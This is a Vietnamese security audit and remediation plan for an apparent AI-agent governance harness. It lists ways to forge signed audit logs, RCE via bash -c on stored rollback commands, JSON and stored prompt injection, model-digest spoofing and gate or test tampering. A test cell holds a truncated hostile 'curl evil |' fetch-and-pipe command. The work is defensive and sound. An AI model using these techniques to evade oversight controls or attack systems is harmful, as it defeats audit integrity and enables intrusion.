KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py)
Status 2026-07-07: 🟢 remediation P0/P1/P2 phần lớn ĐÃ thực thi (24 SEC suite,
118 check fail-able, 0 fail trong WSL, đã nối ci-harness-gate.sh). Phần dưới
vẫn giữ nguyên kết quả audit đối kháng + kế hoạch vá; các mục còn 📋 planned là
hạ tầng/process lớn (multi-tenant, SCA/ký workflow, signed commits, stored-injection
scan, trusted-time/attestation ngoài). Mỗi task đã làm có test đối kháng fail-able.
Bất biến: giữ core harness không tụt; verify trong WSL (msys + Python Windows lệch path).
Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent
audit ~30 file còn lại). Nhãn trạng thái: xem CASAN_BACKLOG_STATUS.md.
0a. Trạng thái remediation (cập nhật 2026-07-07)
| Nhóm |
Task |
Trạng thái |
Ghi chú |
| P0 |
SEC-01…06 |
✅ done+test |
unsigned=FAIL · KMS-anchor · rollback no-bash -c · action-gate fail-closed · JSON-safe · CP/governance ký head |
| P1 |
SEC-07, 08, 09, 10 |
✅ done+test |
approval JWT · pii fail-closed · input-cap/fail-closed · identity không spoof |
| P1 |
SEC-11 (enforce-by-default) |
✅ gộp vào SEC-17 |
CASAN_PROFILE=prod bật enforce mặc định (kill-switch/audit/CP), explicit =0 vẫn thắng |
| P2 |
SEC-12, 13, 15 |
✅ done+test |
drift-invariant · SSRF allowlist · low-cluster (typosquat/tool-exec/validate-input) |
| P2 |
SEC-14 (model-digest env-override) |
✅ done+test |
prod/CASAN_MODEL_DIGEST_STRICT=1 bỏ tin CASAN_MODEL_DIGEST; forged override → không OK (phase-sec14 5/0) |
| Arch |
SEC-16, 17, 18, 19, 20, 21 |
✅ done+test |
bundle-integrity · prod-profile · test-integrity · atomic-store · toolchain-pin · model/run budget |
| X-layer |
SEC-27, 28, 29, 30 |
✅ done+test |
log control-char strip · path-traversal · audit fail-closed · approval-replay nonce |
| X-01 |
SEC-26 |
✅ done+test |
quét golden/corpus/traceability-map/requirement bằng H4 khi nạp prompt; stored-injection → BLOCK, missing source → fail-closed (phase-sec26 5/0) |
| Arch |
SEC-22 (ARCH-06/08) |
✅ done+test |
trusted-time cho exp (clock-skew vô hiệu, file lỗi→fail-closed) + tag proposal nguồn-không-tin (self-improve: telemetry chưa ký→untrusted; apply untrusted ở prod/strict→BLOCK); phase-sec22 9/0. ARCH-10 (attestation ngoài) là track ngoài như TIER-2 |
| MT |
SEC-23 |
� done (offline) — chỉ còn 23.11 Vault (🔌) |
Phase 1–5 offline xong: tenant-store+guard · per-tenant CP/audit/telemetry · RBAC data-boundary + harness wiring · tenant kill-switch + quota · ký registry (MT-04, unsigned/tampered/forged→refuse) · crypt at-rest per-tenant local-key (MT-02, B không đọc plaintext A). 5 suite phase-sec23-* = 36/0. 23.11 (Vault Transit non-exportable) cần infra — xem §2d |
| SC |
SEC-24 |
� partial (offline) |
image digest-pin lint (chặn :latest/floating tag) + ký/verify workflow CI (unsigned/tampered/forged→refuse); phase-sec24 8/0. Còn live CVE/OSV scan + image scan thật (cần infra) |
| SC |
SEC-25 |
🟡 partial (offline) |
artifact attestation: ký hash build + verify tested==deployed (swap/forged/unsigned→refuse); phase-sec25 5/0. Còn signed-commit enrollment + SLSA chain đầy đủ (cần CI/key) |
Đọc tiếp: bảng findings + kế hoạch chi tiết bên dưới giữ nguyên để tra cứu.
Cột "Trạng thái" ở trên là nguồn nhanh; số check chi tiết xem CASAN_HARDENING_STATUS.md.
0. Root cause hệ thống (ưu tiên cao nhất)
Toàn bộ lớp tamper-evidence (audit chain, tool-call chain, telemetry integrity,
evidence pack, worm ledger, control-plane audit) dựa trên:
- Khoá ký local tự sinh, đặt CẠNH dữ liệu nó bảo vệ (pubkey tái tạo mỗi lần chạy) →
ai ghi được log thì ký lại được.
- Hash chain SHA-256 không khoá (unkeyed) → tính lại toàn bộ được.
- Verifier coi "thiếu chữ ký =
anchor=unsigned = VALID (exit 0)" → xoá chữ ký là
qua verify.
→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) sửa log +
tính lại chain + xoá chữ ký ⇒ vượt mọi verify. Cộng với JSON-injection qua
printf và bash -c trên lệnh lưu trong log chưa ký (RCE), các đảm bảo toàn
vẹn hiện bị vô hiệu bởi chính actor local.
Điều kiện thoát: neo chữ ký vào KMS/HSM ngoài (Vault Transit đã có
vault-kms.sh) + "unsigned" = FAIL ở mọi enforced mode.
1. Bảng findings (hợp nhất pass-1 + pass-2)
🔴 High
| ID |
File |
Attack case |
Fix |
| H-01 |
verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh |
Thiếu *.sig/pubkey ⇒ anchor=unsigned exit 0. Sửa log → tính lại chain → xoá sig → PASS |
Enforced mode: thiếu chữ ký ⇒ exit≠0; anchor=unsigned = FAIL |
| H-02 |
tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh |
Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại |
KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod |
| H-03 |
rollback-manager.sh |
execute chạy bash -c "$rollback_command" đọc từ log chưa ký → RCE |
Lưu restore action dạng argv có cấu trúc, không bash -c; ký + verify tx log |
| H-04 |
governance-check.sh |
CASAN_APPROVER/CASAN_ACTOR/ACTION_NAME nội suy raw qua printf vào JSON → "+newline chèn bản ghi audit giả (approval giả) |
Xuất JSON qua python json.dumps/jq; escape/validate field |
| H-05 |
action-gate.sh |
Không check RC của Python; output rỗng/crash rơi vào *) ALLOW → fail-open |
Bắt RC; mặc định DENY khi không phải ALLOW tường minh |
| H-06 |
control-plane-settings.py · governance-report.py (tự viết) |
Audit hash-chain không ký → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả |
Ký head qua sign-audit-head.sh/KMS; governance-report yêu cầu chữ ký hợp lệ |
🟠 Medium
| ID |
File |
Attack case |
Fix |
| M-01 |
worm-ledger.py |
Chain unsigned recomputable; json.loads không guard → malformed line crash |
Neo KMS/Object-Lock; try/except fail-closed |
| M-02 |
casan-harness.sh |
Tool-output injection scan mặc định warn; kill-switch enforce opt-in → stop khẩn = no-op mặc định |
Mặc định block ở non-dev; kill-switch enforce mặc định on |
| M-03 |
model-digest-check.sh |
current_digest() ưu tiên env CASAN_MODEL_DIGEST → tráo model + set env = qua; pin không ký |
Bỏ env override ở enforced mode; ký pin file |
| M-04 |
kill-switch.sh |
clear không cần authz; state là file rm được |
Yêu cầu approval ký để clear; state ở store được bảo vệ |
| M-05 |
tool-registry-gate.sh · agent-metrics.sh |
Authz theo env CASAN_AGENT spoof được; agent-metrics nội suy raw vào JSON |
Bind identity qua token verify; JSON qua serializer |
| M-06 |
pii-mask.py |
Thiếu rules file / rule regex hỏng → emit nội dung KHÔNG mask (fail-open) |
Fail-closed: từ chối/emit rỗng khi rules lỗi |
| M-07 |
sandbox-run.sh |
Chỉ chặn redirection >/>>; tee /etc/x, cp .. /abs, dd of= lọt |
Cách ly filesystem thật (container/ns/ro-mount) |
| M-08 |
supply-chain-gate.sh · self-improve.py · control-plane-settings.py (tự viết) |
Approval = bất kỳ chuỗi non-empty |
Verify assertion ký (nối approval-verify.sh JWT) |
| M-09 |
provider-usage-fetch.sh |
API_URL arg fetch bằng curl -f không validate scheme/host → SSRF (internal/file://) |
Allowlist scheme/host; chặn internal/link-local |
| M-10 |
security-check.sh · drift-detect.sh · context-compress.py (tự viết) |
Không cap input size → DoS; drift SequenceMatcher O(n²); non-UTF8/thiếu file → crash thay vì fail-closed |
Cap size (vd 2MB); errors="replace" + try/except → verdict block |
| M-11 |
evidence-pack-build.py |
Certify tin RC verifier do env truyền (CASAN_EP_*) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) |
Chạy verifier bên trong build hoặc yêu cầu output verifier có ký |
🟡 Low (rút gọn)
drift-detect coarse (chỉ char-similarity → lật phủ định lọt, không must-keep) · rai-guard classify bypass bằng obfuscation (a[at]b) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng http:// · dashboard-server no-auth + bind 0.0.0.0 env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed \| injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend.
2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able)
Nguyên tắc: mỗi fix phải kèm test đối kháng fail-able trong packages/casan-harness/tests/,
nối ci-harness-gate.sh, giữ 280/0. Verify trong WSL.
P0 — chặn đứng "gãy" & bypass toàn vẹn
| Task |
Nội dung |
Verify (test mới/mở rộng) |
| SEC-01 |
"unsigned = FAIL" ở enforced mode cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm CASAN_VERIFY_STRICT=1) |
Xoá *.sig → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL |
| SEC-02 |
KMS-anchor cho mọi head (audit/tool/telemetry/evidence/control-plane) qua vault-kms.sh; bỏ auto-gen key local ở enforced mode |
Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL |
| SEC-03 |
rollback-manager: bỏ bash -c, dùng argv có cấu trúc + verify tx log đã ký |
Append record `curl evil |
| SEC-04 |
action-gate fail-closed: bắt RC Python, mặc định DENY |
Ép classifier crash → gate DENY (fail-able) |
| SEC-05 |
JSON-safe writers: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer |
Field "+newline → không có bản ghi giả thứ 2 |
| SEC-06 |
control-plane/governance-report ký head (H-06) |
Tamper store + recompute → governance-report NOT_CERTIFIED |
P1 — authz, fail-open, DoS
| Task |
Nội dung |
Verify |
| SEC-07 |
Approval thật: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua approval-verify.sh |
--approval x (chuỗi bừa) → DENY; JWT hợp lệ → cho |
| SEC-08 |
pii-mask fail-closed khi rules lỗi/regex hỏng |
Thiếu rules → refuse (không emit unmasked) |
| SEC-09 |
Cap input size + fail-closed đọc (security-check/drift-detect/context-compress) |
Input > cap → block verdict; non-UTF8 → block, không traceback |
| SEC-10 |
Identity không spoof: tool-registry-gate/agent-metrics bind token thay CASAN_AGENT env |
Spoof env → không lên quyền |
| SEC-11 |
Enforce mặc định: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile |
Engaged kill-switch → harness refuse mặc định |
P2 — chiều sâu & làm cứng
| Task |
Nội dung |
Verify |
| SEC-12 |
drift-detect nâng cấp: must-keep invariants + cảnh báo lật phủ định + fail-closed |
Golden↔candidate lật "không" → drift FAIL dù similarity cao |
| SEC-13 |
SSRF allowlist: provider-usage-fetch / approval-verify JWKS / dashboard bind |
URL internal/file:// → reject |
| SEC-14 |
sandbox thật (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override |
tee /etc/x bị chặn; tráo model + env → digest FAIL |
| SEC-15 |
Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed |
Mỗi mục 1 test nhỏ |
2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn)
Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS".
Kế hoạch, chưa fix.
| ID |
Điểm yếu |
Attack case |
Fix (kế hoạch) |
| ARCH-01 |
Gate & policy không được bảo vệ toàn vẹn |
Kẻ ghi được workspace sửa thẳng security-check.sh / prompt-filter.yaml / thresholds.yaml / model-digest.pin / reviewers.registry → bypass tuyệt đối (sửa gate/policy chứ không sửa input). |
Ký + verify bundle harness+policy bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). |
| ARCH-02 |
Test tự tham chiếu |
Test nằm cùng repo attacker sửa được → xoá case đối kháng / hạ số check mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. |
Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. |
| ARCH-03 |
Vi phạm secure-by-default |
Hầu hết control mạnh là opt-in env: CASAN_SECURITY_STRICT, CASAN_PREFLIGHT, CASAN_KILLSWITCH_ENFORCE, CASAN_VERIFY_STRICT, digest mode. Không set = tắt. Operator lười / attacker chỉ cần không bật. |
CASAN_PROFILE=prod bật tất cả enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). |
| ARCH-04 |
Tin PATH / binary |
python/grep/sha256sum/openssl/uuidgen lấy từ PATH; shadow binary trên PATH (vd grep giả luôn trả no-match) → điều khiển verdict gate. |
Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. |
| ARCH-05 |
TOCTOU / không atomic, không lock |
control-plane-settings (load→modify→save) và audit append không khoá/không atomic → 2 run song song mất write / vỡ hash-chain; kill-switch check→act là race. |
flock + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. |
| ARCH-06 |
Tin đồng hồ hệ thống |
JWT exp / approval dựa system clock; skew/chỉnh clock trên host → chấp nhận approval hết hạn. |
Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. |
| ARCH-07 |
DoS khuếch đại qua model |
Semantic classify timeout 180s/call × nhiều step; model bị làm treo → pipeline đứng lâu. |
Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. |
| ARCH-08 |
Telemetry poisoning → self-improve |
Log-injection (H-04/M-05) làm hỏng metrics → self-improve propose sinh đề xuất theo dữ liệu giả (dù apply cần approval). |
Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. |
| ARCH-09 |
No-op âm thầm theo nền tảng = fail-open |
Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate no-op âm thầm. |
check-prerequisites fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. |
| ARCH-10 |
Tin tuần hoàn của evidence |
Evidence/governance-report chứng minh nội bộ nhất quán, không chứng minh run trung thực (inputs tự khai). |
Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. |
Remediation bổ sung (P0/P1 — plan)
| Task |
Map |
Verify |
| SEC-16 |
ARCH-01 ký+verify harness/policy bundle (KMS) |
Sửa 1 byte security-check.sh/prompt-filter.yaml → harness refuse |
| SEC-17 |
ARCH-03 CASAN_PROFILE=prod enforce-by-default toàn bộ |
prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce |
| SEC-18 |
ARCH-02 test-integrity manifest ký + CI check count/hash |
Xoá 1 fail-able check → CI FAIL "test coverage dropped" |
| SEC-19 |
ARCH-05 flock + atomic write cho store/audit |
2 set song song → không mất write, chain còn verify |
| SEC-20 |
ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) |
Shadow grep giả / thiếu tool → refuse, không no-op |
| SEC-21 |
ARCH-07 giảm timeout + global run budget |
Model treo → hủy sớm, không đứng pipeline |
| SEC-22 |
ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) |
trusted-time cho exp; proposal nguồn-không-tin gắn nhãn |
2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order)
Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix.
Multi-tenant trust model
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| MT-01 |
State là file chung không phân vùng (audit/control-plane store/telemetry/kill-switch/logs global) |
Script dự án A đọc/sửa thẳng file của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) |
Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API |
| MT-02 |
Không mã hoá per-tenant |
Admin/tenant A xem audit/telemetry của B |
Mã hoá at-rest per-tenant; khoá theo tenant qua KMS |
| MT-03 |
Kill-switch/cost/quota global |
1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) |
Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên |
| MT-04 |
project-registry.json chưa ký |
Tenant giả đăng ký/tráo project khác |
Ký registry; verify khi load |
Supply-chain của chính harness
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| SC-01 |
File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) |
Sửa policy = tắt control mà không đụng code |
Ký + verify policy bundle (gộp ARCH-01) |
| SC-02 |
Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) |
Shadow binary điều khiển verdict (gộp ARCH-04) |
Pin path + verify provenance |
| SC-03 |
Model dependency: digest env-override, không SBOM/provenance |
Tráo model + set CASAN_MODEL_DIGEST (gộp M-03) |
Bỏ env-override; model card + provenance (Plan-15) |
| SC-04 |
npm/pip deps (backend + control-plane) + prisma engine tải mạng |
Dep độc trong lớp governance → RCE |
Lockfile + npm audit/SCA trong CI; pin engine |
| SC-05 |
CI runner + .gitea/workflows editable trong repo |
Sửa workflow → "green" giả; runner image không pin |
Ký workflow/pipeline; pin runner image; tách quyền |
| SC-06 |
Base image Docker (backend/frontend/sandbox) không pin/scan |
Base image độc |
Pin digest + scan image |
| SC-07 |
Không ký commit / không provenance |
Không chứng minh AI được ai sửa gate |
Signed commits + attestation (SLSA-style) |
Second-order & lớp khác
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| X-01 |
Stored/second-order injection |
Payload trong golden-runs/redteam-corpus/traceability-map/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp |
Quét cả file "vàng"/data nạp vào prompt bằng H4 |
| X-02 |
ANSI/terminal-escape injection vào log/dashboard |
Nội dung attacker viết lại terminal reviewer / giấu dòng audit |
Strip/escape control chars khi ghi log & render |
| X-03 |
ReDoS trên grep -E/re |
Input dựng riêng → backtracking mũ → DoS |
Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm |
| X-04 |
Symlink/path-traversal trên tham số file |
Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) |
Resolve realpath + chặn ngoài workspace; O_NOFOLLOW |
| X-05 |
Disk-fill DoS |
Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash |
Rotation + quota + fail-closed khi không ghi được audit |
| X-06 |
Approval replay |
JWT approval hợp lệ dùng lại trong cửa sổ exp |
Nonce một-lần + jti blacklist |
| X-07 |
Deploy provenance |
Gate xanh ở CI nhưng artifact deploy ≠ bản test |
Ký artifact liên kết tested==deployed |
Remediation bổ sung (plan)
| Task |
Map |
Verify |
| SEC-23 |
MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry |
Run tenant A không đọc/sửa được state B; registry giả → reject |
| SEC-24 |
SC-04/05/06 SCA + pin runner/base image + ký workflow |
Dep độc/workflow sửa → CI FAIL |
| SEC-25 |
SC-07 signed commits + attestation |
Commit không ký gate → CI cảnh báo/chặn |
| SEC-26 |
X-01 quét golden/corpus/map bằng H4 khi nạp prompt |
Payload trong golden → BLOCK |
| SEC-27 |
X-02 strip control-char khi ghi/hiển thị log |
ANSI escape trong input → log sạch |
| SEC-28 |
X-04 realpath + chặn symlink ngoài workspace |
Symlink /etc/passwd làm input → reject |
| SEC-29 |
X-05 log rotation/quota + fail-closed khi audit không ghi được |
Đĩa đầy → refuse, không fail-open |
| SEC-30 |
X-06 nonce/jti cho approval; X-07 ký artifact |
Replay JWT → DENY; artifact ≠ test → block deploy |
2d. SEC-23 — chia bước chi tiết (multi-tenant partition · MT-01..04)
Mục tiêu: không còn state chung không phân vùng; run của tenant A không đọc/sửa
được state của B (kể cả khi bỏ qua RBAC tầng API bằng cách đụng thẳng file). Task lớn
(L) ⇒ chia 6 phase, 14 bước nhỏ, mỗi bước có test đối kháng fail-able riêng, nối
ci-harness-gate.sh, giữ core harness không tụt. Verify WSL.
Nguyên tắc: deny-by-default · secure-by-default ở CASAN_PROFILE=prod (thiếu tenant ⇒
fail-closed) · RBAC ở cả tầng dữ liệu không chỉ API · tái dùng path-guard.sh
(SEC-28), sign-audit-head.sh/KMS (SEC-02), atomic+flock (SEC-19).
Cờ: 🟦 offline được ngay · 🔌 cần Vault/KMS (skip-aware).
Phase 1 — Nền: tenant resolver + guard (🟦) — ✅ done (tenant-store.sh + phase-sec23-tenant-store 10/0, nối CI)
| Bước |
Việc |
File |
Test (fail-able) |
Dep |
| 23.1 |
tenant-store.sh resolve <logical-name> → path phân vùng .specify/state/tenants/<tenant_id>/… theo CASAN_TENANT_ID; validate id (allowlist charset, chặn ..//) |
mới tenant-store.sh |
2 tenant → 2 path khác; id ../evil → reject |
— |
| 23.2 |
Cross-tenant guard: cho path yêu cầu + tenant hiện tại, từ chối truy cập partition tenant khác (realpath, phải nằm trong tenant-root của mình) |
tenant-store.sh guard (nối path-guard.sh) |
tenant A đọc/ghi path của B → DENY |
23.1 |
| 23.3 |
Tạo tenant-dir quyền 0700 (owner-only) — OS bổ trợ guard logic |
tenant-store.sh init |
mode dir = 0700 |
23.1 |
| 23.12 |
Secure-by-default: prod bắt buộc CASAN_TENANT_ID; thiếu ⇒ fail-closed (refuse). Dev có default tenant |
tenant-store.sh |
prod thiếu tenant → refuse; dev → default |
23.1 |
Phase 2 — Chuyển state chung → per-tenant (🟦) — ✅ done. 23.4/23.5/23.6 (CP settings+audit-chain per-tenant qua CASAN_TENANT_ID; telemetry qua tenant-paths.sh) + 23.13 (casan-harness source tenant-paths.sh; RBAC data-boundary rbac-check.py — org-admin A không đụng B). phase-sec23-state-isolation 9/0 + phase-sec23-rbac-tenant 6/0
| Bước |
Việc |
File |
Test |
Dep |
| 23.4 |
Audit chain per-tenant (append/verify qua tenant-store) |
nối tool-audit-lib.sh/verify-audit-chain.sh |
chain A độc lập; B không đọc/ghi được audit A |
23.2 |
| 23.5 |
Control-plane settings store per-tenant |
nối control-plane-settings.py |
đổi setting A không ảnh hưởng B |
23.2 |
| 23.6 |
Telemetry/metrics + logs per-tenant |
nối agent-metrics.sh/casan-log.sh |
telemetry A tách khỏi B |
23.2 |
| 23.13 |
Wire tenant-store vào casan-harness.sh + RBAC data-layer: quyết định RBAC còn chặn ranh giới tenant khi truy cập dữ liệu (không chỉ API) |
nối casan-harness.sh, rbac-check.py |
action RBAC-hợp-lệ ở A không đụng được dữ liệu B |
23.4, 23.5 |
Phase 3 — MT-03 tài nguyên scope theo tenant (🟦) — ✅ done (23.7 tenant kill-switch: A halt không ảnh hưởng B; 23.8 per-tenant cost/quota: chi tiêu A không tính vào budget B; phase-sec23-scope 4/0)
| Bước |
Việc |
File |
Test |
Dep |
| 23.7 |
Kill-switch scope tenant (thêm scope tenant cạnh project/model/provider/global) |
nối kill-switch.sh, casan-harness.sh |
A engage tenant-switch → A refuse, B vẫn chạy |
23.1 |
| 23.8 |
Cost/quota/budget per-tenant (chống noisy-neighbor) |
nối cost-spike-detect.sh |
A burn budget → A capped, B không ảnh hưởng |
23.1 |
Phase 4 — MT-04 ký registry (🟦) — ✅ done (tenant-registry-verify.sh: valid→OK; tampered/forged/unsigned→refuse fail-closed; phase-sec23-registry-crypt 23.9)
| Bước |
Việc |
File |
Test |
Dep |
| 23.9 |
Ký project-registry.json/tenant-registry + verify khi load; unsigned/forged → reject (tái dùng sign-audit-head.sh) |
mới tenant-registry-verify.sh |
registry giả/sửa → load DENY |
23.1 |
Phase 5 — MT-02 mã hoá at-rest — 🟡 23.10 ✅ done offline (tenant-crypt.sh: khoá per-tenant, state A là ciphertext, B không giải mã được; phase-sec23-registry-crypt 23.10). 23.11 🔌 còn lại (Vault Transit non-exportable, cần infra) per-tenant
| Bước |
Việc |
File |
Test |
Dep |
Cờ |
| 23.10 |
Mã hoá state nhạy cảm (audit/telemetry) at-rest bằng khoá local per-tenant (KMS-ready) → admin/tenant A không đọc plaintext của B |
mới tenant-crypt.sh |
audit B trên đĩa là ciphertext; A không giải mã được |
23.4 |
🟦 |
| 23.11 |
Khoá per-tenant qua Vault Transit (non-exportable) — bản production |
nối vault-kms.sh |
khoá theo tenant, non-exportable (live/skip) |
23.10 |
🔌 |
Phase 6 — Nối CI & chốt (🟦)
| Bước |
Việc |
File |
Test |
Dep |
| 23.14 |
Nối phase-sec23-* vào ci-harness-gate.sh + cập nhật tổng test (CASAN_HARDENING_STATUS.md) + trạng thái (CASAN_BACKLOG_STATUS.md, §0a) |
ci-harness-gate.sh |
full SEC xanh WSL; số check không tụt |
tất cả 23.x |
Thứ tự thực thi đề xuất: Phase 1 → 2 → 3/4 (song song được) → 5 → 6. Phần offline (Phase 1–4 + 23.10) làm ngay không cần infra; chỉ 23.11 (Vault) là 🔌 skip-aware.
Gợi ý test files: phase-sec23-tenant-store, phase-sec23-audit-isolation, phase-sec23-killswitch-scope, phase-sec23-registry-sign, phase-sec23-crypt. Mỗi suite deterministic, hermetic (temp tenant roots).
3. Ghi chú thực thi cho AI kế tiếp
- Môi trường verify: WSL Ubuntu (
wsl.exe -e bash -lc 'cd /mnt/d/... && ...'); Node bằng Windows Node + NODE_OPTIONS=--use-system-ca.
- Bất biến: không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass.
- Thứ tự đề xuất: ARCH-01/02/03 (SEC-16/17/18) là P0-class — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài).
- Phạm vi chưa soi (pass sau): create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean).
Liên quan: CASAN_PLAN_07_PRODUCTION_HARDENING.md (H4/H5/H6 + TIER 2 KMS/WORM) · CASAN_HARDENING_STATUS.md (control đã có) · vault-kms.sh (KMS anchor cho SEC-02).